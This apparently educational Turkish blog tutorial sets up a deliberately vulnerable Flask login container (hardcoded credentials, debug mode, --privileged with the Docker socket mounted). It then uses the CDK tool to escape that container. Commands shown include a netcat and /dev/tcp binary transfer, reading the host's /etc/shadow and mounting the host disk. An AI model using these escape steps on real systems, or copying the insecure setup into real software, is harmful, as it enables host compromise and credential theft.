← Back to list

CDK Tool— Konteyner Sızma Aracı

CDK (Container DucK), herhangi bir işletim sistemi bağımlılığı olmaksızın, konteynerlerde zaafiyer sömürmek için tasarlanmış, açık kaynaklı…

Adil Azimdegil · 2025-12-15 17:04 · 1 claps · 4.4 min read
#cybersecurity #penetration-testing #docker #containers #cdk
Open on Medium ↗
Wiki topics: ☁️ · DevOps & Cloud 🔒 · Cybersecurity

CDK Tool— Konteyner Sızma Aracı

CDK (Container DucK), herhangi bir işletim sistemi bağımlılığı olmaksızın, konteynerlerde zaafiyer sömürmek için tasarlanmış, açık kaynaklı bir konteyner sızma testi aracı. Bu yazıda erişim kazandığımız bir docker konteynerında bu aracı nasıl yükleyip kullanabileceğimizi göstereceğim.

Öncelikle bize sömürebileceğimiz bir docker konteynerı oluşturacağız. Bu kısım doğrudan CDK ile alakalı değil ama her aracı her konteyner’da kullanamayacağımızı bilmemiz gerek. Sızdığımız konteyner’da hangi aracı kullanabileceğimizi kendimiz bulmamız lazım.

Kaldıracağımız konteyner basit bir login sayfası olan bir web uygulaması. Rasgele bir isimle klasör oluşturarak başlayalım:

mkdir basit_login_app

Klasöre geçelim ve docker dosyalarımızı oluşturmaya başlayalım:

cd basit_login_app

Bir app.py dosyası içine aşağıdaki python kodunu yazıp kaydedin:

from flask import Flask, render_template, request, redirect, url_for, session

app = Flask(__name__)
app.secret_key = 'gizli_anahtar'  # Session yönetimi için gerekli

# Sabit kullanıcı bilgisi (Veritabanı olmadan basit kontrol)
USER_DATA = {
    "username": "admin",
    "password": "password123"
}

@app.route('/')
def home():
    if 'username' in session:
        return render_template('index.html', username=session['username'])
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if username == USER_DATA['username'] and password == USER_DATA['password']:
            session['username'] = username
            return redirect(url_for('home'))
        else:
            error = 'Hatalı kullanıcı adı veya şifre!'

    return render_template('login.html', error=error)

@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('login'))

if __name__ == '__main__':
    # 0.0.0.0 olması container dışından erişim için şarttır
    app.run(debug=True, host='0.0.0.0', port=5000)

“Dockerfile” isimli bir dosya daha oluşturup aşağıdaki kodları kopyalayın:

# Temel imaj olarak hafif Python sürümü kullan
FROM python:3.9-slim

# Çalışma dizinini ayarla
WORKDIR /app

# Gerekli kütüphaneyi yükle
RUN pip install flask

# Proje dosyalarını kopyala
COPY . .

# Portu dışarı aç (Flask varsayılanı 5000)
EXPOSE 5000

# Uygulamayı başlat
CMD ["python", "app.py"]

HTML sayfaları için bir templates klasörü oluşturun:

mkdir templates

İçine bir index.html dosyası oluşturup içine aşağıdakileri içine kopyalayın:

<!DOCTYPE html>
<html>
<head>
    <title>Anasayfa</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding-top: 50px; }
        a { color: red; text-decoration: none; font-weight: bold; }
    </style>
</head>
<body>
    <h1>Hoşgeldin, {{ username }}!</h1>
    <p>Başarıyla giriş yaptınız.</p>
    <p>Burası güvenli bölge.</p>
    <br>
    <a href="/logout">Çıkış Yap</a>
</body>
</html>

login.html dosyasına da aşağıdakileri kopyalayın:

<!DOCTYPE html>
<html>
<head>
    <title>Giriş Yap</title>
    <style>
        body { font-family: sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; background-color: #f0f2f5; }
        .container { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        input { display: block; margin: 10px 0; padding: 10px; width: 200px; }
        button { background: #007bff; color: white; border: none; padding: 10px 20px; cursor: pointer; }
        .error { color: red; font-size: 0.9em; }
    </style>
</head>
<body>
    <div class="container">
        <h2>Sisteme Giriş</h2>
        {% if error %}
            <p class="error">{{ error }}</p>
        {% endif %}
        <form method="post">
            <input type="text" name="username" placeholder="Kullanıcı Adı" required>
            <input type="password" name="password" placeholder="Şifre" required>
            <button type="submit">Giriş Yap</button>
        </form>
    </div>
</body>
</html>

Dockerfile’ın olduğu ana klasörümüze dönüp imajımızı build edelim.

sudo docker build -t login-uygulamasi .

Bununla beraber docker konteyner’ımız hazır. Artık CDK’yı kullanma kısmına gelebiliriz.

CDK’nın github sayfası

Aracın binary’sini çekerek başlayalım. İstediğiniz bir konuma indirebilirsiniz.

wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64

Docker konteyner’ını kaldırmak için aşağıdaki komutu kullanalım:

sudo docker run --privileged -v /var/run/docker.sock:/var/run/docker.sock -d -p 5000:5000 --name sitem login-uygulamasi

Buradaki privileged ve docker.sock eklentisi önemli. Bunları zaafiyeti olan bir konteyner olması için ekliyoruz ki CDK açık bulabilsin. Çok daha büyük ve kapsamlı konteyner’la birçok başka açık bulunabilir. Bizimki basit bir uygulama olduğu için açık bulmak için biraz yardım gerekiyordu. “sitem” ismini sadece daha kolay erişmek için koyduk.

Artık konteyner çalışıyor. Konteyner’ın terminaline geçmek için yeni bir terminal penceresinde aşağıdaki kodu yazın:

sudo docker exec -it sitem /bin/bash

Konteyner’ın interaktif terminaline erişmiş olduk. Şimdi ilk problem CDK’yi bu konteyner’a indirmek. Konteyner içinde wget, curl tarzı bir komut kurulu değil. CDK’yı başka şekilde konteyner’a yükleyeceğiz.

Bunun için öncelikle ana makinemize indirdiğimiz cdk_linux_amd64 dosyasının ismini daha kolay bir şey yapalım.

mv cdk_linux_amd64 cdk

Şimdi bu dosyayı nc ile ağımıza açalım:

nc -lvp 999 < cdk

Konteyner terminaline gelip aşağıdaki kod ile bu cdk dosyasını alalım. IP ve port kısmını kendi hostunuz ile değiştirmeyi unutmayın. (Port’u az önce 999 vermiştik)

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk

Biraz bekleyip konteyner’da CTRL+C yaparak işlemi durduruyoruz. Bu yolla cdk dosyasını konteyner’a aldıktan sonra çalıştırma izni ekleyelim:

chmod +x cdk

Artık CDK aracı çalışmaya hazır. Konteyner’da

./cdk eva

ile aracı çalıştırıp “evaluation” yapmasını sağlıyoruz. CDK bulunduğu konteyner’da erişebildiği bilgilerle tarama yaparak olası açıkları ve konteyner’ın bilgilerini gösteriyor.

CDK kırmızı ile belirttiği kısımlarda bize hangi zaafiyetlerin olabileceği ile alakalı bilgi veriyor. Buradan itibaren farklı yollar denenerek bir sızma denenebilir.

Bizim kaldırdığımız konteyner privileged olduğu için CDK bunun yarattığı zaafiyetleri gösteriyor.

[*] Maybe you can exploit the Capabilities below:                                                                                                                       
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
./cdk run cap-dac-read-search

ilk tavsiye edilen exploit. Bunu yazıp çalıştırınca bize docker çalıştıran makinenin kendi /etc/shadow’unu veriyor.

bir başka yapabileceğimiz exploitte docker çalıştıran makinenin diskini mount etmek. Bunun için

./cdk run mount-disk

Başarılı şekilde diski bize gösterdiği adrese bağladı. Bu konuma “ls” yaptığımızda konteyner çalıştıran sistemin dizinlerini görebiliyoruz.

Bu noktadan itibaren istediğimiz birçok şeyi bu makineye yapabiliriz. Verileri okumak, diski kopyalamak, kalıcılık sağlamak vs. istediğimizi gerçekleştirebilecek durumdayız.

Son olarak, CDK’nın hazır exploit listesini listelemek için de şunu yazabiliriz:

./cdk run --list


메타데이터
post_id
64d51b320bef
slug
cdk-tool-konteyner-sızma-aracı-64d51b320bef
url
https://medium.com/@adilazimdegilx/cdk-tool-konteyner-s%C4%B1zma-arac%C4%B1-64d51b320bef
canonical_url
https://medium.com/@adilazimdegilx/cdk-tool-konteyner-s%C4%B1zma-arac%C4%B1-64d51b320bef
author_url
https://medium.com/@adilazimdegilx
status
ok
fetched_at
2026-06-11 21:11:36